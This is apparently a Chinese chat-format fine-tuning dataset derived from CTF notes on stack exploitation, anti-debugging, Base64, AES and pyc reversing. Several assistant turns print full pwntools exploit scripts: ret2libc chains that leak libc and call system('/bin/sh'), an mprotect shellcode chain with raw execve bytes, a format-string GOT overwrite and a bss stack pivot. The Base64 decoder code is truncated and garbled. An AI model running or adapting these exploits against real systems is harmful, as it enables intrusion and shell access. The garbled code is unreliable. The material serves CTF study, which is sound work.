puts_plt=elf.plt.write
puts_got=elf.got.write

payload=b'a'*off+p32(puts_plt)+p32(main)+p32(1)+p32(puts_got)+p32(8)
s(payload)
ru(b'byebye')
write=u32(r(4))
base=write-libc.sym.write

sys=libc.sym.system+base
sh=0x0018b363+base

pay=b'a'*off+p32(sys)+p32(0)+p32(sh)
s(pay)
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“算法分析”？请用《Hash 类算法》中的内容回答。

[Assistant]
1. 通过 ida 的 findcrypt 插件我们可以直接查找到程序中的 Hash 常量来判断加密算法，但是这通常只对自己实现或静态链接`openssl`库才有作用。如果使用`openssl`链接库编译动态链接，那么 findcrypt 是找不到的。
2. 也不能说找不到，当动态调试程序的时候使用 findcrypt 插件进行查找可以找到整个`openssl`链接库的常量。这样我们根本无法分析程序是哪个加密算法。
3. 在使用动态链接的情况下，通常可以通过 ida 函数窗口的函数分析出加密算法。
4. 看到下例中的`md5`字样，我们可以判断程序为`md5`加密算法。

Hash 类算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“rctf2019shellcoder”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“rctf2019shellcoder”。
关联知识点：
- 输出一段数据后，由`mmap`分配一段可读可写可执行的内存。之后向这块内存读取数据，然后执行这块内存中的代码。
- 但是这里`read`只能读取 7 个字节的数据，无论是 getshell 还是 orw 都无法进行。
- 可以写通过一段短的汇编代码将 shellcode 重新写入。通过`mov dl,100`将`rdx`设置为一个较大的值，而此时`rdi`是分配的内存，将`rdi`交互到`rsi`中，而且此时`rax`的值仍然是 0。
- 所以执行 shellcode1 后寄存器的状态如下：
代码片段：
```
rax=0
rdi=0
rsi=分配的内存
rdx=100
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“stdout”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. 设置 stdout 全缓冲机制，大小为 0x1000。
2. gift未初始化栈空间，所以栈内可 puts 出 libc。
3. vuln 内有 0x20 字节栈溢出。
4. 因为 vuln 函数返回时捕获更改寄存器内容的原因，控制 rip 到以下位置就可以拿到程序基地址。因为 write 是系统调用，所以即便设置全缓冲的情况下他仍然会直接输出。

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[watevrCTF 2019]Voting Machine 2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[watevrCTF 2019]Voting Machine 2”。
语言/类型：python
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sh=0x8420736
fmtpay=b'a'*2+fmtstr_payload(8,{elf.got.puts:sh},numbwritten=2)
r()
sl(fmtpay)
s(b'0')
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Base64》的“代码实现”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Base64 / 代码实现
关键词：unsigned、temp、base64、data、break、decode、const、memset、sizeof
可用于训练的标准回答：
### 代码实现

```c
//参数1：base64密文
//参数2：解密后的明文

int decode( const char * base64, unsigned char * data )
{
    int i, j;
    //用于遍历base64编码表的变量
    unsigned char k;

    //用于存储遍历的字节
    unsigned char temp[4];

    //循环遍历base64字符串，一次遍历4个字节
    for ( i = 0, j = 0; base64[i] != '\0' ; i += 4 )
    {

        memset( temp, 0xFF, sizeof(temp) );
        for ( k = 0 ; k > 4) & 0x03));

        //如果第三个字节为=号填充符，就返回
        if ( base64[i + 2] == '=' )
            break;
		//将密文的第二个字符和第三个字符解码为原始数据的第二个字节
        data[j++] = ((unsigned char)(((unsigned char)(temp[1] > 2) & 0x0F));

        //如果第四个字节为=号填充符，就返回
        if ( base64[i + 3] == '=' )
            break;

		//将密文的第三个字符和第四个字符解码为原始数据的第三个字节
        data[j++] = ((unsigned char)(((unsigned char)(temp[2] 注意：移位运算中左移 1 位等于乘以 2，右移 1 位等于除以 2。

Base64


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“逆向工具”？请用《Pyc：pyc文件》中的内容回答。

[Assistant]
1. 通过工具反编译 pyc 文件，拿到源码
2. uncompyle6
3. 在解压缩后的目录下，存在`原文件名.pyc`文件，即我们的目标文件`test.pyc`
4. 对于 python3.9版本以下（不含3.9）
5. 使用uncompyle6工具
6. uncompyle6.exe .\\test.exe_extracted\\test.pyc > test.py

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“OpenSSL”？请用《RSA与大数运算》中的内容回答。

[Assistant]
1. | `EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl)`                                                             | 初始化消息摘要上下文。
2. | `EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *data, size_t count)`                                                                | 更新消息摘要上下文。
3. | `EVP_DigestFinal_ex(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s)`                                                          | 完成消息摘要计算。
4. | `EVP_PKEY_new()`                                                                                | 创建一个新的 EVP_PKEY 对象。
5. | `EVP_PKEY_free(EVP_PKEY *pkey)`                                                                                | 释放 EVP_PKEY 对象。
6. | `EVP_PKEY_assign_RSA(EVP_PKEY *pkey, RSA *rsa)`                                                                                | 将 RSA 密钥分配给 EVP_PKEY 对象。

RSA与大数运算


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Angr：Angr符号执行》的“符号执行原理”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Angr：Angr符号执行 / 符号执行原理
关键词：Symbolic、Execution、从而帮助发现漏洞、检测潜在的错误和漏洞
蒸馏要点：
- 定义：符号执行（Symbolic Execution）是一种程序分析技术，通过将程序输入替换为符号变量，探索程序的所有可能路径，并生成路径约束条件进行求解，从而帮助发现漏洞、验证程序正确性或生成测试用例。
- 核心思想：通过将程序的输入抽象为符号变量，追踪这些变量在程序中的操作，并通过生成路径条件来验证各条路径的可行性。这种方法有助于检测潜在的错误和漏洞，并能够覆盖更多的执行路径，从而提高程序分析的全面性和准确性。
- 什么是符号执行，一般我们运行一个程序需要给程序输入内容，直接输入内容后程序执行。这属于传统执行的使用实际的具体值来运行程序，而符号执行使用符号值来运行程序。
- 符号执行的三个关键点：
- 符号执行的关键在于：
- 符号化输入：将程序的输入替换为符号变量。
- 路径探索：模拟程序的执行过程，探索程序的所有可能路径，特别是在条件分支处，符号执行会分别生成两个路径来代表条件为真和条件为假的情况。
可用于训练的标准回答：
### 符号执行原理

定义：符号执行（Symbolic Execution）是一种程序分析技术，通过将程序输入替换为符号变量，探索程序的所有可能路径，并生成路径约束条件进行求解，从而帮助发现漏洞、验证程序正确性或生成测试用例。

核心思想：通过将程序的输入抽象为符号变量，追踪这些变量在程序中的操作，并通过生成路径条件来验证各条路径的可行性。这种方法有助于检测潜在的错误和漏洞，并能够覆盖更多的执行路径，从而提高程序分析的全面性和准确性。

什么是符号执行，一般我们运行一个程序需要给程序输入内容，直接输入内容后程序执行。这属于传统执行的使用实际的具体值来运行程序，而符号执行使用符号值来运行程序。

符号执行的三个关键点：

- 变量符号化；
- 程序执行模拟；
- 约束求解。

符号执行的关键在于：

- 符号化输入：将程序的输入替换为符号变量。
- 路径探索：模拟程序的执行过程，探索程序的所有可能路径，特别是在条件分支处，符号执行会分别生成两个路径来代表条件为真和条件为假的情况。
- 路径约束：每一条路径都会产生一个路径约束，路径约束是关于符号变量的数学公式，表示这条路径的条件。
- 约束求解：符号执行生成的路径条件可以通过约束求解器（例如 Z3）来求解，求解器可以找到满足这些条件的符号变量具体值，从而推导出实际输入。

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《反调试》的“检测进程运行状态”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：反调试 / 检测进程运行状态
关键词：TracerPid、status、line、/proc/self/status、proc、self、include、is_debugged、FILE、fclose
蒸馏要点：
- Linux 在`/proc/self/status`中保存了进程的状态信息。通过检查`TracerPid`字段，可以判断当前进程是否被调试器控制。如果`TracerPid`不为0，则说明该进程正在被调试。
可用于训练的标准回答：
### 检测进程运行状态

Linux 在`/proc/self/status`中保存了进程的状态信息。通过检查`TracerPid`字段，可以判断当前进程是否被调试器控制。如果`TracerPid`不为0，则说明该进程正在被调试。

```c
#include
#include

int is_debugged() {
	//打开一个文件，该文件包含当前进程的状态信息
    FILE *status = fopen("/proc/self/status", "r");
    //如果文件打开失败，则未检测到调试器
    if (status == NULL) return 0;

	//读取文件内容
    char line[256];
    while (fgets(line, sizeof(line), status)) {
	    //查找TracerPid行
        if (strncmp(line, "TracerPid:", 10) == 0) {
            fclose(status);
            //检查TracerPid的值
            //获取TracerPid后面的数字部分，并检查它是否大于0.
            //如果大于0则表示有进程在跟踪当前进程
            return atoi(line + 10) > 0;
        }
    }
    fclose(status);
    return 0;
}

int main() {
    if (is_debugged()) {
        printf("Debugger\n");
    } else {
        printf("No debugger\n");
    }
    return 0;
}
```

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pyc：pyc文件》的“while 循环”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pyc：pyc文件 / while 循环
关键词：LOAD_CONST、DASCTF、长度的字段，减去6。

这里、字段是用小端序存储的，所以我们需要改为、co_code、STORE_NAME、LOAD_NAME、COMPARE_OP、VNCTF2022、while
蒸馏要点：
- print(code.co_code[:6].hex()) #710471067102
可用于训练的标准回答：
#### while 循环

```
1：
0 LOAD_CONST               0 (0)
2 STORE_NAME               0 (i)

2：
4 LOAD_NAME                0 (i)
6 LOAD_CONST               1 (10)
8 COMPARE_OP               0 (2024极客大挑战 奇怪的RC4

>2024极客大挑战 好像是python?

>[羊城杯 2020]Bytecode

>DASCTF 2020 pycode

>DASCTF ezpython

>VNCTF2022 BabyMaze

第一条指令会跳转到 4，然后 4 会跳转到 2，之后 2 又会跳转到 6，最后从 6 开始正常执行。

所以可以判断这是花指令

定位花指令：

```python
print(code.co_code[:6].hex()) #710471067102
```

我们知道一条指令是两个字节，这里我们前三条指令是花指令，所以就是前 6 个字节。

我们通过 010 删除这几个字节，但是我们不仅需要删除这几个字节，还需要修改前面记录`co_code`长度的字段，减去6。

这里`co_code`字段是用小端序存储的，所以我们需要改为`E8 07`。

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Base64》的“常规”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Base64 / 常规
关键词：sub_4110be、str、printf、scanf、strncmp、str2、base64、flag、main_0、sub_411375
蒸馏要点：
- BUUCTF-reverse3
- 拿到程序查壳，发现无壳
- 之后运行一下，随意输入一串字符。
- 判定代码逻辑为字符串比较。
- ida 打开分析一下，发现主函数中只调用了一个`main_0`函数
- 先将函数和变量改一下名，提高代码可读性。
- `·sub_41132f`用于显示字符串，判断为`printf`。利用快捷键 n 改名为`printf`。
可用于训练的标准回答：
### 常规

>BUUCTF-reverse3

拿到程序查壳，发现无壳

之后运行一下，随意输入一串字符。

判定代码逻辑为字符串比较。

ida 打开分析一下，发现主函数中只调用了一个`main_0`函数

进入查看

先将函数和变量改一下名，提高代码可读性。

`·sub_41132f`用于显示字符串，判断为`printf`。利用快捷键 n 改名为`printf`。

`sub_411375`根据其后参数判定为`scanf`，用于向`str`数组输入最多20个字符。
将其函数改为`scanf`，将`str`数组名改为`input`。
`j_strlen`函数判断为获取字符串长度的函数`strlen`，将获取结果的变量`v3`改为`input_length`便于阅读。

可以看到函数`sub_4110be`对我们输入的数据进行了处理
无法判断函数`sub_4110be`的功能，所以进入查看。

发现调用了一个函数，继续进入查看

分析主要代码逻辑

进行了很多移位拼接操作，很明显的 base64 加密

更简单的方法是打开字符串窗口查看一下

发现 base64 编码表字符串，判断为 base64 加密

所以`sub_4110be`为加密函数，变量`v4`为返回的密文。

根据逻辑重命名一下

接下来继续分析

`strncmp`函数将密文复制 0x28 个字节到`destination`中

接下来计算密文长度

然后对密文做了移位运算

然后获取运算后的密文长度

通过`strncmp`函数对密文和`str2`变量比较密文长短的内容

如果相等则输入 flag 正确

所以`str2`就是加密后的密文

我们通过密文和加密逻辑逆向构造exp。

- exp

```python
import base64

#密文
s="e3nifIH9b_C@n@dH"
flag=""

for i in range(len(str)):
    flag+=chr(ord(str[i])-i)

print(base64.b64decode(flag))
#[FLAG_PREFIX]i...

Base64


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《反调试》中“CheckRemoteDebuggerPresent”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《反调试》的“CheckRemoteDebuggerPresent”。
语言/类型：c
关联知识点：
- `CheckRemoteDebuggerPresent`函数跟`IsDebuggerPresent`差不多。不同的是它不仅可以探测系统其他进程是否被调试，通过传递自身进程句柄还可以探测自身是否被调试。
- 如果`hProcess`句柄表示的进程处于调试上下文，则`pbDebuggerPresent`被置为`True`，否则被置为`False`。
代码片段：
```c
BOOL CheckRemoteDebuggerPresent{
    HANDLE hProcess,
    PBOOL pbDebuggerPresent
};
```

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“getstarted3dsctf2016”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“getstarted3dsctf2016”。
语言/类型：python
代码片段：
```python
from pwn import *

pwnfile="./get_started_3dsctf_2016"
io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level="debug",arch="i386")

mprotect_addr=elf.symbols["mprotect"]
read=elf.symbols["read"]
mem_addr=0x080Ea000
mem_size=0x1000
mem_proc=0x7

#pop ebp; pop esi; pop edi; ret
pop_addr=0x0809e4c5

payload=b"a"*0x38+p32(mprotect_addr)
payload+=p32(pop_addr)
payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)

payload+=p32(read)
payload+=p32(pop_addr)
payload+=p32(0)+p32(mem_addr)+p32(0x100)
payload+=p32(mem_addr)

io.sendline(payload)

#pwntools生成shellcode
pay=asm(shellcraft.sh())
#也可以手写编码
#pay="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
io.sendline(pay)
io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《反调试》中“NtQueryInformationProcess”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《反调试》的“NtQueryInformationProcess”。
语言/类型：c
关联知识点：
- dll`中一个 API，它用来提取一个给定进程的信息。
代码片段：
```c
NTSTATUS NtQueryInformationProcess(
  HANDLE ProcessHandle,
  PROCESSINFOCLASS ProcessInformationClass,
  PVOID ProcessInformation,
  ULONG ProcessInformationLength,
  PULONG ReturnLength
);
```

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[SWPUCTF 2023 秋季新生赛]ezlibc”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2023 秋季新生赛]ezlibc”。
语言/类型：python
代码片段：
```python
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
libc=ELF("./libc-2.31.so")
context.arch="i386"

off=20
main=elf.sym.main
puts_plt=elf.plt.write
puts_got=elf.got.write

payload=b'a'*off+p32(puts_plt)+p32(main)+p32(1)+p32(puts_got)+p32(8)
s(payload)
ru(b'byebye')
write=u32(r(4))
base=write-libc.sym.write

sys=libc.sym.system+base
sh=0x0018b363+base

pay=b'a'*off+p32(sys)+p32(0)+p32(sh)
s(pay)
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《AES》的“魔改”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：AES / 魔改
关键词：sSycloversyclov、AES、sub_140001ED4、sub_140001C99、sub_140001408、byte_14000C000、if、https、github、com
蒸馏要点：
- 字节代换的时候使用逆 S 盒进行代换
- 对行位移进行魔改，状态矩阵的第 0 行左移 0 字节，第一行左移 1 字节，第二行左移 2 字节，第三行左移 3 字节，每一行的元素左移的字节数是可以更改的。
- 对列混合进行魔改，虽然可以，但是一般不会有人这样做，状态矩阵与固定的矩阵相乘得到混淆后的状态矩阵，如果这个固定矩阵被更改，那么求逆的时候要重新计算另外一个矩阵。
- 对中间轮数的加密顺序进行更改
- 对于魔改 AES 我们可以编译一份标准 AES 加密的代码对照着分析。
- AES 实现代码：https://github.com/kokke/tiny-AES-c.git
- 例题 2024 极客大挑战 Aes！
可用于训练的标准回答：
## 魔改

- 字节代换的时候使用逆 S 盒进行代换
- 对行位移进行魔改，状态矩阵的第 0 行左移 0 字节，第一行左移 1 字节，第二行左移 2 字节，第三行左移 3 字节，每一行的元素左移的字节数是可以更改的。
- 对列混合进行魔改，虽然可以，但是一般不会有人这样做，状态矩阵与固定的矩阵相乘得到混淆后的状态矩阵，如果这个固定矩阵被更改，那么求逆的时候要重新计算另外一个矩阵。
- 对中间轮数的加密顺序进行更改

对于魔改 AES 我们可以编译一份标准 AES 加密的代码对照着分析。

>AES 实现代码：https://github.com/kokke/tiny-AES-c.git

>例题 2024 极客大挑战 Aes！

分组加密对任意长度加密一般首先要进行分组填充

- 分析

反编译程序，根据经验修一下代码重命名函数。

修理后的结果：

跟进`sub_140001ED4`函数，发现是一个长度校验函数，要求长度为 32。下面的`if`就是校验失败后退出的逻辑。

下面分析重点部分：

跟进分析`sub_140001C99`函数，首先校验`sSycloversyclov`是否等于 16及其倍数。这里

这里`sSycloversyclov`应该就是密钥

再跟进分析`sub_140001408`函数，发现这是一个对密钥进行扩展的函数。

其中`byte_14000C000`应该就是 S 盒，查看发现是非标准 S 盒。

猜测对 S 盒进行了魔改，将密文以魔改的 S 盒进行解密，套板子。

密文就是循环校验的全局变量：

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“pwnableorw”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. 几乎没有保护，所以我们可以尝试shellcode。
2. 程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。
3. 我们直接尝试shellcode，但是我们传统的通过`execve`获取shell的方式并不可行。
4. 这是因为这里所考察的并不是那种简单shellcode，通过题目名称我们可以知道这里我考察的是orw。
5. 而考察orw的题目一般都是沙箱题目。
6. 我们通过seccomp-tools这个工具来检查沙箱禁止了哪些系统调用。

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《反调试》的“ptrace 系统调用”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：反调试 / ptrace 系统调用
关键词：ptrace、ptarace、nop、include、PTRACE_TRACEME、printf、debugger、argc、argv、exit
蒸馏要点：
- 一个进程只能被一个进程`ptrace`，如果你自己调用`ptarace`，这样其它程序就无法通过`ptrace`调试（或者向你的程序进程注入代码）.
- 如果进程已经被调试器跟踪了再次`ptrace`就不会成功。
- 处理`ptrace`要么就是让它不执行，要么就是直接将其`nop`掉。
- 使用`ptrace`可以检测是否有其他进程在调试当前进程。具体方法是尝试用`ptrace`附加到自身，如果成功则说明没有被调试。
可用于训练的标准回答：
### ptrace 系统调用

一个进程只能被一个进程`ptrace`，如果你自己调用`ptarace`，这样其它程序就无法通过`ptrace`调试（或者向你的程序进程注入代码）.

如果进程已经被调试器跟踪了再次`ptrace`就不会成功。

处理`ptrace`要么就是让它不执行，要么就是直接将其`nop`掉。

使用`ptrace`可以检测是否有其他进程在调试当前进程。具体方法是尝试用`ptrace`附加到自身，如果成功则说明没有被调试。

   ```c
#include
#include
#include
#include

int main(int argc, char *argv[])
{
  if(ptrace(PTRACE_TRACEME,0,1,0)==-1){
    printf("debugger\n");
    exit(0);
  }
  printf("No debugger\n");
  return 0;
}
   ```

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“call&ret构造花指令”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。

[Assistant]
1. `call`指令的本质：`push`将函数返回地址入栈然后`jmp`函数地址
2. `ret`指令的本质：`pop eip`
3. 代码中的`esp`存储的是函数返回地址，对`[esp]+8`，就是函数的返回地址+8，正好盖过代码中的函数指令和垃圾数据。

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“maigcread”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / maigcread
关键词：p64、bss、elf、libc、leave、pay1、base、rdi、puts、bin
蒸馏要点：
- 典型 bss 段栈迁移打 ret2libc。
可用于训练的标准回答：
### maigcread

典型 bss 段栈迁移打 ret2libc。

```python
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
libc=ELF("./libc-2.23.so")
context.arch=elf.arch

rdi=0x0000000000400723
ret=0x00000000004004c6
leave=0x400675
bss=elf.bss()+0x500
vuln=0x40063a

r()
pay1=b'a'*64+p64(bss+0x40)+p64(leave)
s(pay1)
pay1=b'a'*64+p64(bss+0x40+64)+p64(leave)
s(pay1)

pay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)
s(pay2)

leak=u64(r(6)+b'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+libc.search("/bin/sh\x00").__next__()
print("sh",hex(sh))
ru(b"just read!\n")
pay3=b'a'*64+p64(bss+0x90)+p64(leave)
s(pay3)
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
s(pay4)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“SSP Leak”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. 0x555555400b1d    lea    rsi, [rip + 0x58b]       RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\n\n' */
2. 0x555555400b24    mov    edi, 1                   EDI => 1
3. ───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
4. 00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */
5. 01:0008│         0x7fffffffcef8 ◂— 0
6. 02:0010│         0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“AndroidManifest.xml”？请用《2025强网杯 Qclac》中的内容回答。

[Assistant]
1. MainActivity：
2. 第一个 Intent Filter 是启动入口：
3. `android.intent.action.MAIN`：表示该 Activity 是应用的主入口。
4. `android.intent.category.LAUNCHER`：表示它会显示在设备的启动器（桌面）上。
5. 第二个 Intent Filter — 深度链接（Deep Link）
6. `action android.intent.action.VIEW`：表示该 Activity 可以用来查看某种数据（通常配合 `` 使用）。

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 请将《README：md5》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。

[Assistant]
主题：README：md5
领域标签：ctf
知识结构：md5
关键术语：md5、usage、file、string、MD5
核心要点：
- C语言实现的MD5算法源码

README：md5


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《AES》的“算法逻辑”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。

[Assistant]
出处：AES / 算法逻辑（第 2 段）
关键词：unsigned
可用于训练的标准回答：
```c
unsigned char S[256] = {
        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
        0xCD, 0x0C, 0x13, 0xEC, 0x5F,...

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《2025强网杯 Qclac》的“processDeeplinkExpression”部分，提炼一条适合 SFT 的中文技术讲解样本（第 4 段）。

[Assistant]
出处：2025强网杯 Qclac / processDeeplinkExpression（第 4 段）
关键词：expression、Intent、parts、intent、tvInput、setText、Invalid、contains、try、errorFallbackIntent
蒸馏要点：
- // 情况一：表达式包含 "intent:"，代表嵌套 Intent（可能是安全测试或回退机制）
- if (expression.contains("intent:")) {
- // 尝试解析表达式为 Intent
- Intent errorFallbackIntent = Intent.parseUri(expression, 1);
- // 将其保存到当前 Activity 的 Intent 里作为备用
- getIntent().putExtra("fallback", errorFallbackIntent);
- // 计算签名（简单的 hashCode，用于验证）
可用于训练的标准回答：
// 情况一：表达式包含 "intent:"，代表嵌套 Intent（可能是安全测试或回退机制）
        if (expression.contains("intent:")) {
            try {
                // 尝试解析表达式为 Intent
                Intent errorFallbackIntent = Intent.parseUri(expression, 1);
                // 将其保存到当前 Activity 的 Intent 里作为备用
                getIntent().putExtra("fallback", errorFallbackIntent);
                // 计算签名（简单的 hashCode，用于验证）
                String signature = calculateSignature(expression);
                getIntent().putExtra("calc_signature", signature);
                Log.d("QiangCalc", "Intent stored as fallback");
                this.tvInput.setText("Intent stored");
                return;
            } catch (Exception e) {
                // 捕获 URI 格式错误
                Log.e("QiangCalc", "Invalid intent expression: " + e.getMessage());
                this.tvInput.setText("Invalid expression");
                retur...

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《反调试》的“ProcessHeap”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：反调试 / ProcessHeap
关键词：ULONG、pFlags、pForceFlags、hHeap、BYTE、Flags、ForceFlags、include、BOOL、IsHeapDebugged
蒸馏要点：
- 当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。
可用于训练的标准回答：
#### ProcessHeap

当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。

- 实现

```cpp
#include
#include

